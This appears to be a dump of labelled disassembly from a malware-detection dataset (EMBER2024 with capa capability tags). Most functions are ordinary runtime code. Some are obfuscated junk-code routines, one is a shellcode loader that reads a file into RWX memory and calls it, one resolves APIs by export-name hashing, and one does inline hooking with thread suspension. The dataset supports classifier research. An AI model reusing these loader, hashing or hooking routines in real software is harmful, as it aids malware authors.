joyce8/EMBER2024-capa huggingface dataset:
Function at 0x377b150
Capabilities:
Encode data using xor

Disassembly:
shr ax, cl
mov ecx, edx
or edx, edx
adc dl, ch
mov word [edx + esi - 1], ax
neg edx
mov ecx, dword [edi + ecx - 1]
lea eax, [edx*2 - 0x6874f06b]
add edi, 4
xor ecx, ebx
lea ecx, [ecx + edx - 0x445e17dc]
not al
and ax, dx
push eax
ror ecx, 1
call fcn.03698f27
dec esp
add edx, ebp
inc esp
xadd cl, bh
dec esp
mov dword [esp + edi - 0xa0], edx
ret 8
call fcn.020d4ad1
mov eax, 0x21abf7a0
sal ax, 0xcd
adc ax, word [esi + eax*2 - 0x43560000]
mov edx, 0xe13735b6
mov cl, byte [esi + 2]
xor edx, edx
inc dx
lea esi, [edx + esi + 1]
jnp 0x3505067
mov dl, byte [edi]
xor al, byte [edi + 2]
add edi, 2
call fcn.036f2fc3
dec eax
lea edx, [eax + edi*8 - 0x6c444759]
dec esp
lea ebx, [eax + edi*4 + 0x2f34ad25]
xor dword [esp + edi - 0x98], ebp
inc ecx
mov esi, 0xc8adb337
dec esp
mov esi, dword [esp + edi - 0x98]
dec esp
lea esp, [eax*2 + 0x22bac7b4]
dec eax
arpl bp, bp
jmp 0x35a23e7

Function at 0x377edde
Capabilities:
Encode data using xor

Disassembly:
call fcn.0358e3d0
xor ecx, ebx
ror eax, 0x45
rol word [esp + eax*2 - 0x440711a], 0x81
call fcn.020a50a3
neg ecx
movzx eax, byte [esp + edx - 0x228b5b]
ror dl, 0x44
not ecx
pop edx
bswap ecx
inc ax
dec dx
cmovae eax, dword [esp + edx - 0x641f60a2]
lea ecx, [ecx + edx + 0x2d702eff]
xor ebx, ecx
call fcn.0294829a
mov edx, dword [esi + ecx - 0x8f7ffff]
lea eax, [ecx + ecx*8 - 0x5af8e164]
sal al, 0xe1
mov eax, dword [esi + ecx*2 - 0x11effffa]
adc cl, ch
neg ecx
mov ecx, dword [esi + 8]
jle 0x29da1fe

Function at 0x378fd0a
Capabilities:
Encode data using base64

Disassembly:
ror edx, 0x72
ror dx, 0xa3
not eax
ror dx, 0x42
rol eax, 1
lea edx, [ecx + ecx*4 - 0x1e71f7da]
bswap eax
ror eax, 1
jmp 0x29e7173
xor eax, ebx
jmp 0x208c44c
sub eax, 0xff9009a0
push ecx
call fcn.036672ec
mov ecx, 0xa49d40aa
mov ecx, dword [edi]
xor ecx, ebx
rol ecx, 2
jmp 0x36bc9e7
ror ecx, 1
shl dl, 0x64
xor dl, 0xb3
mov eax, edx
inc ecx
xor ebx, ecx
add esi, ecx
sar edx, 0xa5
mov eax, dword [ebp + edx*2 - 0x1c8838]
mov edx, dword [ebp + edx*2 - 0x1c8834]
call fcn.0297c189
sub ebp, 4
mov eax, dword [ebp]
xor eax, ebx
mov edx, 0xb32a08ae
add eax, 0x11167a02
lea ecx, [edx + edx - 0x18f837fb]
ror eax, cl
add cl, 0xab
and edx, edx
lea eax, [edx + eax + 0x39768c7c]
xadd edx, ecx
jge 0x36f8773
mov edx, 0x6383c801
bswap edx
lea ecx, [edx + ecx + 0x3f432c40]
jmp 0x368346e
ror eax, 2
and edx, ecx
xor ebx, eax
jmp 0x36dfbf2
sub edi, 4
call fcn.036e3720
xadd eax, edx
movzx ecx, dx
lea esi, [esi + edx - 0x44472b5c]
rol cl, 0x44
xadd dl, al
setl dl
mov eax, dword [esi + ecx*8 - 0x15c28]
sub cx, cx
jae 0x2901ff8
jae 0x29ffe40
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x455963
Capabilities:
Parse pe header

Disassembly:
pushal
xor edx, edx
mov esi, dword fs:[edx]
lodsd eax, dword [esi]
cmp eax, 0xffffffff
je 0x455973
mov esi, eax
jmp 0x455969
mov edi, dword [esi + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
je 0x45598b
sub edi, 0x10000
jmp 0x45597c
mov ebx, edi
add ebx, dword [ebx + 0x3c]
cmp word [ebx], 0x4550
je 0x455999
jmp 0x45597c
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x45599f
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebx, dword [esp + 0x24]
mov ecx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
add ebx, ecx
mov edi, dword [ebx + 0x20]
add edi, ecx
xor esi, esi
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
xor eax, eax
rol eax, 7
xor al, byte [edx]
inc edx
cmp byte [edx], 0
jne 0x4559be
cmp eax, dword [esp + 0x28]
je 0x4559d5
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x4559b5
mov edx, dword [ebx + 0x24]
add edx, ecx
movzx edx, word [edx + esi*2]
mov eax, dword [ebx + 0x1c]
add eax, ecx
mov eax, dword [eax + edx*4]
add eax, ecx
mov dword [esp + 0x1c], eax
popal
ret 8
Function at 0x407e60
Capabilities:
Create directory

Disassembly:
push esi
push ebx
push eax
mov eax, 0x2010
call fcn.0040f3ec
sub esp, eax
mov eax, dword [esp + eax]
mov esi, eax
mov eax, dword [0x43e0a0]
test eax, eax
je 0x407f00
xor ebx, ebx
test eax, eax
jg 0x407e9b
jmp 0x407eb8
add ebx, 1
cmp dword [0x43e0a0], ebx
jle 0x407eb8
mov eax, dword [ebx*4 + 0x43d0a0]
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x407e90
jmp 0x407ef2
mov dword [esp], esi
call sub.msvcrt.dll_wcslen
cmp eax, 2
jne 0x407ecc
cmp word [esi + 2], 0x3a
je 0x407ef2
mov dword [esp + 4], 0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
sub esp, 8
test eax, eax
je 0x407f48
mov ebx, dword [0x43e0a0]
cmp ebx, 0x3ff
jle 0x407f60
mov eax, 1
add esp, 0x2014
pop ebx
pop esi
ret
mov ecx, 0x1000
mov edx, str.HOME
lea eax, [esp + 0x10]
call fcn.00407710
test al, al
je 0x407f7b
lea eax, [esp + 0x10]
mov ebx, dword [0x43e0a0]
mov dword [esp], eax
call sub.msvcrt.dll__wcsdup
mov dword [ebx*4 + 0x43d0a0], eax
mov eax, dword [0x43e0a0]
add eax, 1
mov dword [0x43e0a0], eax
jmp 0x407e81
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x407ee4
xor eax, eax
jmp 0x407ef7
mov dword [esp], esi
call sub.msvcrt.dll__wcsdup
add dword [0x43e0a0], 1
mov dword [ebx*4 + 0x43d0a0], eax
jmp 0x407ef2
mov eax, str.HOME
call fcn.00407d90
lea esi, [esi]
lea esi, [esi]

Function at 0x408110
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
mov eax, dword [0x438060]
test eax, eax
je 0x408149
mov dword [esp + 4], 0x1388
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
jne 0x408160
mov eax, dword [0x438060]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
cmp byte [0x43b080], 0
jne 0x408180
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [0x438060]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
sub esp, 8
jmp 0x408138
mov edx, 0x414
lea edi, [esp + 0x12]
mov dword [esp + 0x12], 0
mov esi, dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [esp + 0x16], 3
mov ebx, 0x14
mov dword [esp + 0x1a], 0x43b0a0
mov dword [esp + 0x1e], 0x41713c
mov word [esp + 0x22], dx
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0x41713c
mov dword [esp], edi
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub esp, 4
jmp 0x408253
test al, 0x10
je 0x408152
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x414
sub esp, 4
mov dword [esp + 0x12], 0
mov dword [esp + 0x16], 3
mov dword [esp + 0x1a], 0x43b0a0
mov dword [esp + 0x1e], 0x41713c
mov word [esp + 0x22], ax
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0x41713c
mov dword [esp], edi
call esi
sub esp, 4
sub ebx, 1
je 0x408152
mov dword [esp], 0x43b0a0
call ebp
sub esp, 4
cmp eax, 0xffffffff
jne 0x4081e8
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40e43c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call fcn.00414840
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call fcn.00414840
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x40f010
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40f02f
mov eax, 0
jmp 0x40f073
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40f052
mov eax, 0
jmp 0x40f073
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40f06e
mov eax, 0
jmp 0x40f073
mov eax, 1
leave
ret

Function at 0x40f075
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40f0d4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x40f0cc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x40f0cc
mov eax, dword [ebp - 4]
jmp 0x40f0e8
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40f0a9
mov eax, 0
leave
ret
Function at 0x100038e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub eax, 0
je 0x1000395e
sub eax, 1
jne 0x10003963
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call fcn.10008040
cmp dword [0x1005376c], 0
jne 0x1000394f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x1005376c], eax
xor ecx, ecx
mov edx, 0x10053768
xchg dword [edx], ecx
test eax, eax
je 0x10003958
push 0
push 0
push dword [ebp + 8]
push 0x10003110
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10003958
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc
xor eax, eax
mov ecx, 0x10053768
xchg dword [ecx], eax
xor eax, eax
pop ebp
ret 0xc
call fcn.10008090
mov eax, 1
pop ebp
ret 0xc
Function at 0x10007c30
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10051040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x30], edx
push edi
xor ebx, ebx
push ebx
push 4
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x10007df3
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10007d47
mov ebx, 1
cmp dword [ebp - 0x20], 0x10
jb 0x10007d0a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10007d0a
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10007d0a
mov edx, dword [esi]
test edx, edx
jne 0x10007cd6
push 0x200
push edx
push dword [0x1005376c]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x10007d2f
jmp 0x10007cfe
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10007cfe
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x1005376c]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x10007d2f
mov dword [esi], edx
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10007c91
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10007d47
mov eax, dword [esi]
xor ebx, ebx
test eax, eax
je 0x10007d47
push eax
push ebx
push dword [0x1005376c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi], ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x10007df3
cmp dword [esi], 0
je 0x10007de0
cmp dword [esi + 8], 0
mov dword [ebp - 0x28], 0
jbe 0x10007de0
xor ecx, ecx
xor ebx, ebx
mov dword [ebp - 0x2c], ecx
mov eax, dword [esi]
push dword [eax + ecx]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
mov dword [ebp - 0x24], 0
test edi, edi
je 0x10007dbf
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10007db2
push dword [ebp + 8]
mov edx, dword [ebp - 0x30]
mov ecx, edi
mov dword [ebp - 0x24], 1
call fcn.10007ac0
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x24], 0
jne 0x10007dc8
mov eax, dword [esi]
mov dword [ebx + eax], 0
mov eax, dword [ebp - 0x28]
add ebx, 4
mov ecx, dword [ebp - 0x2c]
inc eax
add ecx, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
cmp eax, dword [esi + 8]
jb 0x10007d73
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021b0c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 9
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021b0c
mov esp, ebp
pop ebp
ret
Function at 0x10007e10
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
cmp dword [edi], 0
je 0x10007e79
push ebx
xor ebx, ebx
cmp dword [edi + 8], ebx
jbe 0x10007e68
xor ecx, ecx
mov dword [ebp - 4], ecx
push esi
nop word [eax + eax]
mov eax, dword [edi]
mov eax, dword [ecx + eax]
test eax, eax
je 0x10007e5b
push eax
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10007e58
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
inc ebx
add ecx, 4
mov dword [ebp - 4], ecx
cmp ebx, dword [edi + 8]
jb 0x10007e30
pop esi
push dword [edi]
push 0
push dword [0x1005376c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10007e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10051040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
imul esi, ecx, 0x2c
mov ebx, edx
push edi
add esi, dword [0x100537e0]
mov eax, dword [esi]
mov cl, byte [esi + 0x14]
and cl, 1
lea edi, [eax - 5]
cmove edi, eax
movzx eax, cl
lea ecx, [ebp - 8]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10007ee1
pop edi
pop esi
mov eax, 0xa
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021b0c
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x10007f02
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x10007f23
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x10007f23
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x10007f1d
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x10007f23
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov cl, bl
xor eax, eax
add cl, cl
shl bl, 2
xor cl, byte [esi + 0x14]
and cl, 2
xor cl, byte [esi + 0x14]
xor bl, cl
and bl, 4
xor bl, cl
mov ecx, dword [ebp - 4]
pop edi
mov byte [esi + 0x14], bl
xor ecx, ebp
pop esi
pop ebx
call fcn.10021b0c
mov esp, ebp
pop ebp
ret
Function at 0x10012d4c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov esi, dword [ebp + 0xc]
cmp dword [ebp + 0x10], edx
jbe 0x10012d6f
movzx eax, byte [esi + edx]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, dword [ebp + 0x10]
jb 0x10012d5d
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x10021478
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.1002c3e7
mov eax, dword [eax + 0x14]
test eax, eax
je 0x100214bb
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push 2
push ecx
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x100214bb
sub eax, 1
je 0x100214b6
sub eax, 1
je 0x100214b2
xor eax, eax
leave
ret
push 3
jmp 0x100214bd
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x1002f4dc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1002f51b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002f51b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002f51b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1002f51b
cmp dword [ecx + 0x74], 0xe
jbe 0x1002f51b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10032c0b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10047ba0
push 0x10047b98
push str.FlsAlloc
push 0x1f
call fcn.10032a76
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10032c3f
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004319c]
call esi
jmp 0x10032c45
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10032c89
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10047bb0
push 0x10047ba8
push str.FlsGetValue
push 0x21
call fcn.10032a76
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10032cc0
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004319c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10032cc8
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10047bb8
push 0x10047bb0
push str.FlsSetValue
push 0x22
call fcn.10032a76
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10032d02
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1004319c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10037a62
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10037aff
push ebx
push esi
call fcn.10037a2b
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10035e96
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10037aac
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10037afe
push edi
push eax
call fcn.10032726
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10037acc
call fcn.100309d2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10037afd
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10035e96
add esp, 0x20
test eax, eax
jne 0x10037aeb
push edi
call fcn.100309d2
jmp 0x10037af3
push ebx
call fcn.100309d2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10037b02
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10037b13
pop esi
ret
push ebx
push edi
push esi
call fcn.10037a2b
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10032726
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10037b3b
push ebx
push esi
push edi
call fcn.10023220
add esp, 0xc
push 0
call fcn.100309d2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10037f0b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10037b50

Function at 0x1003a190
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10030d76
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1003a1ff
cmp esi, dword [ebp - 4]
je 0x1003a1fa
cmp dword [ebp + 0xc], 0
je 0x1003a1fa
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1003a1d7
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.10039ce2
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x1003a201
xor eax, eax
inc eax
jmp 0x1003a201
xor eax, eax
pop edi
pop esi
leave
ret